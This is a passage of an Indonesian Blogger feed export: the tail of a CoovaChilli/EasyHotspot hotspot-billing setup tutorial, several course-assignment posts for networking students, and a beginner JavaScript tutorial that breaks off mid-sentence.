to block all unwanted traffic to the tun/tap.&lt;br /&gt;    #&lt;br /&gt;    HS_TCP_PORTS=”22 80 10000″ //saya membuka port 22 untuk ssh, 80 untuk webinterface EHS dan 10000 untuk webmin.&lt;br /&gt;    ###&lt;br /&gt;    #   Standard configurations&lt;br /&gt;    #&lt;br /&gt;    HS_MODE=hotspot&lt;br /&gt;    HS_TYPE=chillispot&lt;br /&gt;    # HS_RADAUTH=1812&lt;br /&gt;    # HS_RADACCT=1813&lt;br /&gt;    # HS_ADMUSR=chillispot&lt;br /&gt;    # HS_ADMPWD=chillispot&lt;br /&gt;    ###&lt;br /&gt;    #   Post-Auth proxy settings&lt;br /&gt;    #&lt;br /&gt;    # HS_POSTAUTH_PROXY=&lt;br /&gt;    # HS_POSTAUTH_PROXYPORT=&lt;br /&gt;    #   Directory specifying where internal web pages can be served&lt;br /&gt;    #   by chilli with url /www/. Only extentions like .html&lt;br /&gt;    #   .jpg, .gif, .png, .js are allowed. See below for using .chi as a&lt;br /&gt;    #   CGI extension.&lt;br /&gt;    HS_WWWDIR=/etc/chilli/www&lt;br /&gt;    #   Using this option assumes ‘haserl’ is installed per-default&lt;br /&gt;    #   but, and CGI type program can ran from wwwsh to process requests&lt;br /&gt;    #   to chilli with url /www/filename.chi&lt;br /&gt;    HS_WWWBIN=/etc/chilli/wwwsh&lt;br /&gt;    #   Some configurations used in certain user interfaces&lt;br /&gt;    #&lt;br /&gt;    HS_PROVIDER=Lestari-Net&lt;br /&gt;    HS_PROVIDER_LINK=http://lestari-net.co.cc/&lt;br /&gt;    ###&lt;br /&gt;    #   WISPr RADIUS Attribute support&lt;br /&gt;    #&lt;br /&gt;    HS_LOC_NAME=”Lestari-Net HotSpot”       # WISPr Location Name and used in portal&lt;br /&gt;    #   WISPr settings (to form a proper WISPr-Location-Id)&lt;br /&gt;    # HS_LOC_NETWORK=”My Network”      # Network name&lt;br /&gt;    # HS_LOC_AC=408               # Phone area code&lt;br /&gt;    # HS_LOC_CC=1                 # Phone country code&lt;br /&gt;    # HS_LOC_ISOCC=US             # ISO Country code&lt;br /&gt;&lt;br /&gt;Setelah di save, jalankan chilli dengan perintah :&lt;br /&gt;&lt;br /&gt;    $/etc/init.d/chilli start&lt;br /&gt;&lt;br /&gt;Seharusnya saat ini server biilling hotspot anda sudah berjalan dengan baik, begitu juga dengan easyhotspotnya. lakukan pengecekan dengan perintah :&lt;br /&gt;&lt;br /&gt;    $ifconfig&lt;br /&gt;&lt;br /&gt;Jika dalam reslut ifconfig telah muncul eth1 dan tun0 dimana Tun0 memiliki ip 10.1.0.1 maka server anda sudah bisa digunakan. Hubungkan sebuah PC dengan kabel LAn ke eth1, dan pastikan PC tersebut menggunakan setting IP otomatis. dan lihat jika PC sudah mendapatkan IP DHCP dari coova chilli dengan ip 10.1.0.x maka coova chilli sudah bekerja dengan baik. Anda tinggal membuka browser dan buka alamat sembarang, disini harusnya anda diredirect ke halaman login, jika tidak anda bisa mengetikkan alamat http://10.1.0.1:3990/ (dalalam beberapa kali ujicoba sering kali coova merespon lambat sehingga user tidak di redirect kehalaman login).&lt;br /&gt;Terakhir, yang harus anda lakukan adalah membuat symlink untuk easyhotspot agar bisa dibuka di browser, lakukan perintah di bawah :&lt;br /&gt;&lt;br /&gt;    $ln -s /opt/easyhotspot/htdocs /var/www/easyhotspot &lt;br /&gt;&lt;br /&gt;Setelah itu silahkan buka http://ip-server-anda/easyhotspot untuk memulai menejemen hotspot anda. Oya, sebelumnya anda harus memastikan tiga file config easyhotspot sudah terisi dengan benar yaitu /opt/easyhotspot/htdocs/system/application/config/config.php, /opt/easyhotspot/htdocs/system/application/config/database.php dan /opt/easyhotspot/htdocs/system/application/config/easyhotspot.php&lt;br /&gt;OPTIONAL :&lt;br /&gt;Anda bisa melakukan perubahan terhadap halaman login dari hotspot anda dengan mengedit file-file yang ada di /etc/chilli/www dan jika anda ingin mudah, anda bisa menggunakan halaman login yang sudah saya buat untuk warnet di tempat saya dan anda tinggal mengutak-atik file berekstensi .tmpl sehingga anda akan mendpatkan tampilan seperti screenshot dibawah ini :&lt;br /&gt;&lt;br /&gt;Halaman Login Coova&lt;br /&gt;Untuk menginstallnya anda bisa melakukan perintah dibawah :&lt;br /&gt;&lt;br /&gt;    $wget http://ndra.gmib26.net/downloads/www.zip&lt;br /&gt;    $cp www.zip /etc/chilli&lt;br /&gt;    $cd /etc/chilli&lt;br /&gt;    $cp –r /etc/chilli/www /etc/chilli/www.bak&lt;br /&gt;    $rm –rf /etc/chilli/www&lt;br /&gt;    $unzip –a www.zip&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-1400875988439737413?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/1400875988439737413/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/12/install-easyhotspot-dan-konfigurasi.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/1400875988439737413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/1400875988439737413'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/12/install-easyhotspot-dan-konfigurasi.html' title='Install Easyhotspot dan Konfigurasi Freeradius serta Coova Chilli debian'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-299639960809818131</id><published>2011-12-13T23:28:00.000-08:00</published><updated>2011-12-13T23:32:36.440-08:00</updated><title type='text'>Tugas Mata Kuliah Jaringan Komputer untuk  D3 - TKJ (B)</title><content type='html'>Bagi mahasiswa STMIK Duta Bangsa Jurusan D3 TKJ mata kuliah Jaringan Komputer, di harapkan membuat makalah dengan ketentuan tercantum pada link di bawah ini&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/17814103/tugasmandiriD3TKJ.doc.html"&gt;Download tugas makalah&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ziddu.com/delete/1923585581/17814103/tugasmandiriD3TKJ.doc.html"&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-299639960809818131?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/299639960809818131/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/12/tugas-membuat-makalah-jaringan-d3-tkj-b.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/299639960809818131'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/299639960809818131'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/12/tugas-membuat-makalah-jaringan-d3-tkj-b.html' title='Tugas Mata Kuliah Jaringan Komputer untuk  D3 - TKJ (B)'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-2429118659213886327</id><published>2011-12-12T22:45:00.000-08:00</published><updated>2011-12-12T22:48:22.225-08:00</updated><title type='text'>Tugas Membuat Makalah Jaringan S1 - SI (B) STMIK Duta Bangsa</title><content type='html'>Bagi mahasiswa STMIK Duta Bangsa Jurusan S1 Sistem Informatika mata kuliah Jaringan Komputer, di harapkan membuat makalah dengan ketentuan tercantum pada link di bawah ini&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/17802043/tugasmandiriS1TImalam.doc.html"&gt;Download ketentuan membuat makalah jaringan komputer S1 - SI (B)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ziddu.com/delete/299392535/17802043/tugasmandiriS1TImalam.doc.html"&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;posting by andi novianto&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-2429118659213886327?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/2429118659213886327/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/12/tugas-membuat-makalah-jaringan-s1-si-b.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/2429118659213886327'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/2429118659213886327'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/12/tugas-membuat-makalah-jaringan-s1-si-b.html' title='Tugas Membuat Makalah Jaringan S1 - SI (B) STMIK Duta Bangsa'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-4351898824045892943</id><published>2011-12-12T22:04:00.000-08:00</published><updated>2011-12-12T22:22:14.484-08:00</updated><title type='text'>Tugas Membuat Makalah Jaringan D3 - MI</title><content type='html'>Bagi mahasiswa STMIK Duta Bangsa Jurusan D3 Manajemen Informatika mata kuliah Jaringan Komputer, di harapkan membuat makalah dengan ketentuan tercantum pada link di bawah ini&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/17801785/tugasmandiriD3MI.doc.html"&gt;Download ketentuan membuat makalah jaringan komputer D3 - MI&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ziddu.com/delete/1163241146/17801785/tugasmandiriD3MI.doc.html"&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;posting by andi novianto&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-4351898824045892943?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/4351898824045892943/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/12/tugas-membuat-makalah-jaringan-d3-mi.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/4351898824045892943'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/4351898824045892943'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/12/tugas-membuat-makalah-jaringan-d3-mi.html' title='Tugas Membuat Makalah Jaringan D3 - MI'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-1279592909069156186</id><published>2011-12-08T18:03:00.000-08:00</published><updated>2011-12-08T18:05:06.003-08:00</updated><title type='text'>Tugas CCNA III D3-TKJ</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;Tugas D3-TKJ CCNA III&lt;br /&gt;download file pada link di bawah ini :&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/17744446/tugasRIPdanACL.rar.html"&gt;File soal&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ziddu.com/delete/210383056/17744446/tugasRIPdanACL.rar.html"&gt;&lt;/a&gt;&lt;br /&gt;Soal :&lt;br /&gt;1. konfigurasikan keempat jaringan local&lt;br /&gt;   sehingga bisa terhubung satu sama lainnya, baik menggunakan Routing Static maupun dinamic&lt;br /&gt;2. Blokir komputer dengan IP Address 172.16.0.2/24.&lt;br /&gt;3. Blokir Komputer 192.168.11.2/24 tidak dapat terhubung &lt;br /&gt;   ke komputer 219.83.63.152/28&lt;br /&gt;4. Blokir Komputer 219.83.63.152/28 tidak dapat terhubung &lt;br /&gt;   ke komputer 192.168.13.2/24&lt;br /&gt;5. Blokir Komputer 192.168.13.2/24 tidak dapat terhubung &lt;br /&gt;   ke komputer 172.16.0.3/24&lt;br /&gt;&lt;br /&gt;kirim jawaban ke email solobreak05@yahoo.co.id hari jumat, 09 desember 2011 maximal pukul 17.00&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-1279592909069156186?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/1279592909069156186/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/12/tugas-ccna-iii-d3-tkj.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/1279592909069156186'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/1279592909069156186'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/12/tugas-ccna-iii-d3-tkj.html' title='Tugas CCNA III D3-TKJ'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-8317625638446498721</id><published>2011-12-06T18:23:00.000-08:00</published><updated>2011-12-08T18:06:12.369-08:00</updated><title type='text'>Memasukkan JavaScript kedalam HTML</title><content type='html'>JavaScript adalah pemrograman sisi klien yang akan dijalankan oleh browser dari pengunjung, dan program JavaScript biasa ditanamkan didalam halaman web untuk menghasilkan halaman yang dinamis. Untuk mempelajari JavaScript sebaiknya anda menguasai dasar-dasar HTML Script sehingga akan memudahkan anda untuk menyisipkan program JavaScript secara baik dan benar.&lt;br /&gt;&lt;br /&gt;Ketiklah Contoh berikut dan simpan ke file Hello.html&lt;br /&gt;&lt;br /&gt;    &lt;HTML&gt;&lt;br /&gt;    &lt;HEAD&gt;&lt;br /&gt;&lt;br /&gt;    &lt;SCRIPT LANGUAGE="JavaScript"&gt;&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;       &lt;!-- Menyembunyikan script terhadap browser non-JavaScript&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;       document.write("Hello world.")&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;       // akhir dari penyembunyian --&gt;&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;    &lt;/SCRIPT&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/HEAD&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/HTML&gt;&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;Untuk melihat hasilnya, buka file Hello.html dengan internet browser.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Sebenarnya ada dua cara menanamkan JavaScript kddalam dokumen HTML anda, yaitu :&lt;br /&gt;1. Mengapit JavaScript tersebut dengan  tag &lt;SCRIPT&gt;...&lt;/SCRIPT&gt;&lt;br /&gt;&lt;br /&gt;Contoh :&lt;br /&gt;&lt;br /&gt;    &lt;SCRIPT LANGUAGE="JavaScript"&gt;&lt;br /&gt;&lt;br /&gt;       &lt;!-- Menyembunyikan script terhadap browser non-JavaScript&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;          Perintah-perintah JavaScript anda diketik disini.&lt;br /&gt;&lt;br /&gt;       // --&gt; &lt;br /&gt;&lt;br /&gt;    &lt;/SCRIPT&gt;&lt;br /&gt;&lt;br /&gt;2. Menggunakan tag HTML yang menangani event.&lt;br /&gt;&lt;br /&gt;Contoh :&lt;br /&gt;&lt;br /&gt;    &lt;A HREF="http://www.indoprog.com" onMouseOver="window.status='Klik disini untuk mengetahui lebih jauh tentang saya'; return true;" onMouseOut="window.status=''; "&gt;Klik disini&lt;/A&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Dengan menggunakan  Tag &lt;SCRIPT&gt;&lt;br /&gt;&lt;br /&gt;Walaupun Netscape Navigator akan mengolah semua teks dalam tag &lt;SCRIPT&gt; sebagai JavaScript, tetapi adalah lebih baik melakukan deklarasi  LANGUAGE yang menentukan jenis bahasa script yang digunakan. karena ada beberapa bahasa script lainnya untuk HTML, mendeklarasikan jenis bahasa script adalah suatu praktek yang baik. Marilah kita memulai dengan suatu program sederhana yang akan mencetak  Hello World.&lt;br /&gt;&lt;br /&gt;    Contoh :&lt;br /&gt;&lt;br /&gt;    &lt;HTML&gt;&lt;br /&gt;    &lt;HEAD&gt;&lt;br /&gt;&lt;br /&gt;    &lt;SCRIPT LANGUAGE="JavaScript"&gt;&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;       &lt;!-- Menyembunyikan script terhadap browser non-JavaScript&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;       document.write("Hello world.")&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;       // akhir dari penyembunyian --&gt;&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;    &lt;/SCRIPT&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/HEAD&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/HTML&gt;&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;    Hasil:&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Contoh diatas menunjukkan program Javascript diketik diantara  tag &lt;HEAD&gt; dan &lt;/HEAD&gt;. Jika contoh JavaScript diatas diketikkan diantara tag &lt;BODY&gt;, juga akan memiliki hasil yang sama. Tetapi karena bagian heading akan dibaca terlebih dahulu dibandingankan dengan bagian &lt;BODY&gt;, menempatkan semua fungsi maupun variabel global pada bagian heading adalah praktek pemrograman yang baik. Dan semua perintah JavaScript yang berkaitan dengan dokumen ditempatkan pada bagian body HTML.&lt;br /&gt;&lt;br /&gt;Perhatian : Tidak semua browser mampu memproses JavaScript, sehingga untuk menghindari kesalahan penampilan pada  browser tersebut, anda perlu mengetikkan JavaScript diantara tag komentar HTML sebagai berikut :&lt;br /&gt;&lt;br /&gt;       &lt;!-- Menyembunyikan script terhadap browser non-JavaScript&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;       Perintah-perintah JavaScript anda ketik disini.	&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;       // akhir dari penyembunyian --&gt;&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;Catatan&lt;br /&gt;&lt;br /&gt;    Ingat, selalu mengetik JavaScript diantara baris komentar sehingga browser non Java dapat mengabaikannya, hal ini dilakukan karena siapa saja dapat mengunjungi homepage kita di internet dengan berbagai web browser.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Dengan menggunakan Event&lt;br /&gt;&lt;br /&gt;Menangani Event akan mengubah halaman yang static menjadi lebih dinamis. Event adalah hasil terhadap aksi yang dilakukan oleh pemakai, seperti klik pada mouse, klik pada tombol submit di suatu form, dan keluar dari halaman. Netscape mengenali sejumlah event, tetapi kita tidak akan mendiskusinya sekarang.&lt;br /&gt;&lt;br /&gt;    Contoh:&lt;br /&gt;&lt;br /&gt;    &lt;FORM&gt; &lt;INPUT TYPE=BUTTON VALUE="Coba Klik" onClick="alert('Hello world')"&gt; &lt;/FORM&gt;&lt;br /&gt;&lt;br /&gt;    Hasil:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Variabel dan Literal&lt;br /&gt;&lt;br /&gt;Setelah mengetahui cara menanamkan JavaScript kedalam halaman web, selanjutnya kita akan membahas dasar-dasar dari pemrograman JavaScript itu sendirinya, sebagai langkah pertama dari proses belajar, kita akan membahas Variabel dan Literal. Ketiklah contoh berikut, dan simpan ke file Scroller.html&lt;br /&gt;&lt;br /&gt;    &lt;HTML&gt;&lt;br /&gt;    &lt;HEAD&gt;&lt;br /&gt;&lt;br /&gt;    &lt;SCRIPT LANGUAGE="JavaScript"&gt;&lt;br /&gt;        &lt;!-- Start of scroller script&lt;br /&gt;        var scrollCounter = 0;&lt;br /&gt;        var scrollText    = "Teks yang anda inginkan, misalnya Viva Indoprog";&lt;br /&gt;        var scrollDelay   = 70;&lt;br /&gt;        var i = 0;&lt;br /&gt;&lt;br /&gt;        while (i ++ &lt; 140)&lt;br /&gt;            scrollText = " " + scrollText;&lt;br /&gt;&lt;br /&gt;        function Scroller()&lt;br /&gt;        {&lt;br /&gt;            window.status = scrollText.substring(scrollCounter++,&lt;br /&gt;              scrollText.length);&lt;br /&gt;            if (scrollCounter == scrollText.length)&lt;br /&gt;                scrollCounter = 0;&lt;br /&gt;            setTimeout("Scroller()", scrollDelay);&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        Scroller();&lt;br /&gt;        // End of scroller script --&gt;&lt;br /&gt;    &lt;/SCRIPT&gt;&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;    &lt;/HEAD&gt;&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;    &lt;BODY&gt;&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;    &lt;H1&gt;Coba perhatikan status bar anda&lt;/H1&gt;&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;    &lt;/BODY&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/HTML&gt;&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;Pada contoh diatas menggunakan beberapa variabel seperti scrollCounter, scrollText, scrollDelay, i, dan literal seperti 0, "Teks yang anda inginkan, misalnya Viva Indoprog", 70.&lt;br /&gt;&lt;br /&gt;Pada JavaScript memiliki beberapa tipe dari nilai sebagai berikut :&lt;br /&gt;&lt;br /&gt;    Number, baik bilangan nyata (real) maupun bilangan bulat (integer) (contoh 4.156 dan 39)&lt;br /&gt;    String (contoh  "ini adalah JavaScript")&lt;br /&gt;    Logical (Boolean) dengan nilai true dan false&lt;br /&gt;    Null, yang mana adalah keyword khusus yang mengawali nilai kosong.&lt;br /&gt;&lt;br /&gt;Walaupun memiliki tipe data yang sedikit, tetapi cukup untuk unjuk kerja JavaScript. Perlu diperhatikan bahwa pada JavaScript tidak ada perbedaan antara integer dengan real, keduanya dimasukkan pada tipe yang sama yaitu number. JavaScript tidak menyediakan tipe data khusus untuk data tanggal. Tetapi memiliki beberapa fungsi dan objek tanggal (date) yang dapat digunakan untuk melakukan manipulasi data tanggal.&lt;br /&gt; &lt;br /&gt;Mendefinisikan Variabel&lt;br /&gt;&lt;br /&gt;Aturan penamaan variabel pada JavaScript adalah nama variabel harus dimulai dengan suatu huruf atau garis bawah (_) dan huruf selanjutnya dapat berupa angka (0-9), huruf besar (A-Z) atau huruf kecil (a-z), garis bawah. Berikut ini adalah contoh penamaan variabel yang benar:&lt;br /&gt;&lt;br /&gt;    Nama_depan h9224 _nama&lt;br /&gt;&lt;br /&gt;Catatan&lt;br /&gt;&lt;br /&gt;    JavaScript membedakan huruf besar dan kecil (case sensitif), sehingga harus diwaspadai oleh programmer, penulisan indoprog adalah berbeda dengan Indoprog bagi JavaScript.&lt;br /&gt;&lt;br /&gt;Batasan lainnya dalam pemberian nama variabel adalah tidak boleh sama dengan cadangan kata pada JavaScript. Tabel 1 adalah daftar dari cadangan kata (Reserved Word) pada JavaScript.&lt;br /&gt;&lt;br /&gt;Table 1. Cadangan kata pada JavaScript.&lt;br /&gt;abstract 	extends 	int 	super&lt;br /&gt;boolean 	false 	interface 	switch&lt;br /&gt;break 	final 	long 	synchronized&lt;br /&gt;byte 	finally 	native 	this&lt;br /&gt;case 	float 	new 	throw&lt;br /&gt;catch 	for 	null 	throws&lt;br /&gt;char 	function 	package 	transient&lt;br /&gt;class 	goto 	private 	true&lt;br /&gt;const 	if 	protected 	try&lt;br /&gt;continue 	implements 	public 	var&lt;br /&gt;default 	import 	return 	val&lt;br /&gt;do 	in 	short 	while&lt;br /&gt;double 	instanceof 	static 	with&lt;br /&gt;else 	  	  	 &lt;br /&gt;&lt;br /&gt;Tidak semua kata dalam Table 1 digunakan oleh JavaScript dewasa ini; dan beberapa diantara dicadangkan untuk pemakaian yang akan datang. Cadangan Kata tidak boleh digunakan untuk nama variabel, nama fungsi, nama metode, dan nama objek&lt;br /&gt;&lt;br /&gt;Variabel dalam JavaScript dapat menyimpan semua tipe data yang sah, dan tidak diperlukan suatu deklarasi tipe data. Pada script yang sama, suatu variabel dapat di set ke type data yang berbeda dalam suatu deklarasi tunggal. Berikut ini deklarasi variabel yang sah:&lt;br /&gt;&lt;br /&gt;    temperatur = temperatur = "Temperatur adalah" temperature = "Temperatur adalah " + 27&lt;br /&gt;&lt;br /&gt;Karena JavaScript sangat longgar tentang tipe, dan menyediakan beberapa fungsi untuk melakukan manipulasi data string dan nilai numerik (belum dibahas pada bagian ini).&lt;br /&gt;&lt;br /&gt;Baca Bagian ini !!!&lt;br /&gt;&lt;br /&gt;JavaScript adalah bahasa script yang dinamis. Hal ini berarti bahwa tipe data pada Javascript tidak baku tetapi dapat berubah dari suatu tipe ke tipe yang lain sesuai dengan kebutuhan.&lt;br /&gt;&lt;br /&gt;Sebagai contoh, anda dapat menyatakan  myData = 10; pada suatu baris initialisasi, dan baris berikutnya, menyatakan myData = "Hello World!" yang membuat tipe myData menjadi suatu string. Java Script akan secara otomatis mengubah tipe data berdasarkan ekspresi yang ditentukan. Jadi jika anda menyatakan myData = "10" - 2;, maka anda akan bertanya mengapa Javascript tidak mengkonversi 2 menjadi "2" dan menghasilkan "102", jawabanya adalah karena operator - tidak ditujukan untuk pemakaian pada string sehingga "10" - 2 tidak memiliki arti sama sekali.  Berikut ini akan membawa kita kepada suatu situasi yang lebih menarik. Operator + dinyatakan untuk pemakaian pada numerik dan string. Jadi akankah 10 + "20" mengembalikan nilai  30 (10+20) atau "1020" ("10" + "20"). Hal ini tentu saja akan membingungkan anda dengan pemakaian operator +, jawabannya adalah Javascript akan selalu mengkonversi segala sesuatu ke string sebelum melakukan evaluasi, sehingga 10 + "20" adalah sama dengan  "10" + "20" dan hasilnya adalah "1020".&lt;br /&gt;Jangkauan dari Variabel&lt;br /&gt;&lt;br /&gt;JavaScript memiliki dua jangkauan untuk variabel:&lt;br /&gt;&lt;br /&gt;    variabel Global&lt;br /&gt;    variabel Local&lt;br /&gt;&lt;br /&gt;Variabel lokal digunakan didalam suatu fungsi dan ruang lingkupnya terbatas pada fungsi tersebut. Untuk mendeklarasikan suatu variabel lokal, harus diawali dengan var, seperti contoh berikut ini:&lt;br /&gt;&lt;br /&gt;    var nilaiTerbesar =0&lt;br /&gt;&lt;br /&gt;JavaScript mengganggap semua variabel yang tidak diawali dengan var adalah variabel global. Walaupun JavaScript memperbolehkan anda menggunakan nama variabel yang sama untuk local maupun global, tetapi dalam praktek hal tersebut tidak disarankan, karena akan membingungkan anda sendiri.&lt;br /&gt;TIP&lt;br /&gt;&lt;br /&gt;    Untuk memastikan fungsi mendapatkan nilai yang benar dari suatu variabel global, deklarasikan semua variabel global tersebut pada awal dari script.&lt;br /&gt;&lt;br /&gt;Literal&lt;br /&gt;&lt;br /&gt;Sebagai lawan dari variabel adalah literal  yang merupakan baku yang digunakan dalam JavaScript. JavaScript mendukung literal-literal berikut:&lt;br /&gt;&lt;br /&gt;    Integer literal&lt;br /&gt;    Floating point literal&lt;br /&gt;    Boolean literal&lt;br /&gt;    String literal&lt;br /&gt;    Special character&lt;br /&gt;&lt;br /&gt;Integer dapat dalam basis desimal (basis 10), hexadesimal, dan oktal. Suatu nilai desimal adalah semua angka yang tidak diawali dengan nol (seperti 4, 89, atau 57). Suatu angka yang diawali dengan nol, adalah berbasis oktal (seperti 04, 065, atau 0145). Suatu bilangan dinyatakan dalam basis hexadesimal diawali dengan 0x atau 0X (seperti 0xff, 0X44, atau 0xAE).&lt;br /&gt;&lt;br /&gt;Suatu literal floating-point terdiri dari komponen: suatu desimal bulat, suatu decimal berkoma (.), suatu desimal pecahan, dan eksponen. (seperti 1.23 or 44.6389) atau dalam notasi  scientific (3.6E-8, .4E12, or -2.7E12). Setiap literal floating-point literal minimal memiliki satu digit dengan satu desimal atau eksponen.&lt;br /&gt;&lt;br /&gt;Literal Boolean adalah true atau false.&lt;br /&gt;&lt;br /&gt;Literal String dapat diapit oleh petik tunggal 